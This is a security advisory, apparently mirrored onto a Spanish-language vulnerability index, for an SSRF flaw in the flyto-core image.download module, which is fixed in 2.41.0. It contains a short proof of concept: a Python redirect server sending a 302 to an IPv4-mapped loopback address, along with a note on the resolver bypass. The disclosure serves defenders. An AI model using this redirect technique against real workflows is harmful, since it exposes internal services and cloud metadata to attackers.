GHSA-3J3M-RP8W-PXPV
flyto-core 2.33.0 — SSRF via `image.download`: the per-hop redirect protection was omitted from the module
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-3J3M-RP8W-PXPV divulgada · CVSS 7.7 (GitHub) | |
| Remediación | Parche 2.41.0 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The 2.26.7 per-hop redirect fix (`guarded_aiohttp_request`, GHSA-c9hr-64h3-gxpc) was applied to `http.get` / `http.request` but omitted from `image.download`, which validates only the initial URL and then issues a plain `session.get` that automatically follows redirects. A public URL that responds `302` to `http://[::ffff:127.0.0.1]:8080/` reaches an internal service on the latest release, 2.33.0.
The 2.26.8 "resolve once and connect" resolver cannot back-fill this gap because aiohttp's `TCPConnector._resolve_host` short-circuits IP literals, so the guarded resolver never sees the address.
Details
- `core/modules/atomic/image/download.py:132` validates only the initial URL; `:157` issues a plain `session.get` that auto-follows redirects.
- Control path: `core/modules/atomic/http/get.py:190` uses `guarded_aiohttp_request` and is correctly blocked.
- `core/utils.py:903` carries the GHSA-c9hr-64h3-gxpc reference (the fix that was not applied to `image.download`).
- Version matrix (evidence `ssrf-matrix-2.33.0.txt`, `ssrf-defaultport-version-matrix.txt`):
| Module | 2.26.5 | 2.26.7 | 2.26.8 | 2.33.0 (latest) |
|---|---|---|---|---|
| `http.get` / `http.request` (public 302 → internal) | ALLOWED | BLOCKED | BLOCKED | BLOCKED |
| `image.download` (public 302 → internal) | ALLOWED | ALLOWED | ALLOWED | ALLOWED |
| `image.download` (`[::ffff:127.0.0.1]` literal) | ALLOWED | ALLOWED | ALLOWED | ALLOWED |
Proof of concept
pip install flyto-core==2.33.0
# 1) public redirector: any public address that 302s to the internal literal
python3 - <<'PY' &
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location','http://[::ffff:127.0.0.1]:8080/')
self.end_headers()
HTTPServer(('0.0.0.0',8140), H).serve_forever()
PY
# 2) internal catcher on 127.0.0.1:8080 (separate process)
# 3) invoke the image.download module on http://<PUBLIC_IP>:8140/redir
# (flyto-core workflow/runtime entry point; see findings/52655-flyto-ssrf/poc.sh)
# -> HTTP 200 and a catcher hit on 127.0.0.1:8080
# control: the identical chain through http.get is BLOCKED
# NetworkError: URL resolves to private IP: ::ffff:127.0.0.1The same result holds with a two-hop redirect (`public -> public -> [::ffff:127.0.0.1]`) and with the default allowed ports (`80,443,8080,8443`), so no operator configuration is required.
Impact
Any workflow that uses `image.download` on an attacker-influenced URL can be made to issue server-side requests to internal services and cloud metadata endpoints. Because the module is a general-purpose downloader used in workflows, an authenticated workflow author (or an attacker who can influence a URL consumed by a workflow) obtains an SSRF primitive that survives the fixes shipped for the sibling `http.*` modules.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.41.0 | 0 d | 2.41.0 no afectada |
2.41.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-3j3m-rp8w-pxpvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
